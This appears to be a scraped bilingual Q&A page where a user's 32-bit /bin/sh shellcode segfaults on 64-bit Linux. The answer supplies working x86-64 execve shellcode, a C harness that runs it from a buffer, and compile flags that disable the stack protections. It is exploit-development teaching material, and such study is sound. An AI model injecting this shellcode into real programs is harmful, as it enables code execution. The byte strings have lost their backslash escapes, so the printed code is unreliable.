shellcode 缓冲区溢出 -SegFault [英] shellcode buffer overflow -SegFault

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问题描述

我正在尝试运行这个 shellcode,但我不断收到分段错误

I'm trying to run this shellcode but I keep getting segmentation fault

/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
   "x31xc0" /* Line 1: xorl %eax,%eax */
   "x50" /* Line 2: pushl %eax */
   "x68""//sh" /* Line 3: pushl $0x68732f2f */
   "x68""/bin" /* Line 4: pushl $0x6e69622f */
   "x89xe3" /* Line 5: movl %esp,%ebx */
   "x50" /* Line 6: pushl %eax */
   "x53" /* Line 7: pushl %ebx */
   "x89xe1" /* Line 8: movl %esp,%ecx */
   "x99" /* Line 9: cdq */
   "xb0x0b" /* Line 10: movb $0x0b,%al */
   "xcdx80" /* Line 11: int $0x80 */
   ;
int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}

我编译它使用:

 gcc -z execstack -o call_shellcode call_shellcode.c

 gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c

但我不断收到分段错误

另外,我正在运行 64 位 Linux 系统 (ubuntu)

Also, I'm running a 64 bit Linux system (ubuntu)

推荐答案

您在 x86-64 系统上使用 32 位汇编代码.所以,这是你的问题,你必须为 x86-64 系统创建你的 shellcode.

You are using a 32 bit assembly code on a x86-64 system. So, It is your problem, you have to create your shellcode for x86-64 systems.

例如

  400078:   48 31 c0                xor    rax,rax
  40007b:   48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  400082:   2f 73 68 
  400085:   48 31 f6                xor    rsi,rsi
  400088:   56                      push   rsi
  400089:   57                      push   rdi
  40008a:   48 89 e7                mov    rdi,rsp
  40008d:   48 31 d2                xor    rdx,rdx
  400090:   b0 3b                   mov    al,0x3b
  400092:   0f 05                   syscall 

与 32 位汇编的主要区别之一是如何使用 系统调用.在这个链接 Linux Syscalls x86-64 你可以看到你需要哪些寄存器来调用 sys_execve

One of the main differences with 32 bits assembly, is how to use the syscalls. In this link Linux Syscalls x86-64 you can see what registers you need to call the sys_execve

int execve(const char *filename, char *const argv[],char *const envp[]);

int execve(const char *filename, char *const argv[], char *const envp[]);

  • const char *filename -> rdi
  • char *const argv[] -> rsi
  • char *const envp[] -> rdx
  • 例如

      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
    
      const char code[] = "x48x31xc0x48xbfx2fx2fx62x69x6ex2fx73x68x48x31xf6x56x57x48x89xe7x48x31xd2xb0x3bx0fx05";
      int main(int argc, char **argv)
      {
           char buf[sizeof(code)];
           strcpy(buf, code);
           ((void(*)( ))buf)( );
      }
    

    编译并测试它.

    $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
    $ ./shellcode 
    $ uname -a
     Linux foobar 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
    

    这篇关于shellcode 缓冲区溢出 -SegFault的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

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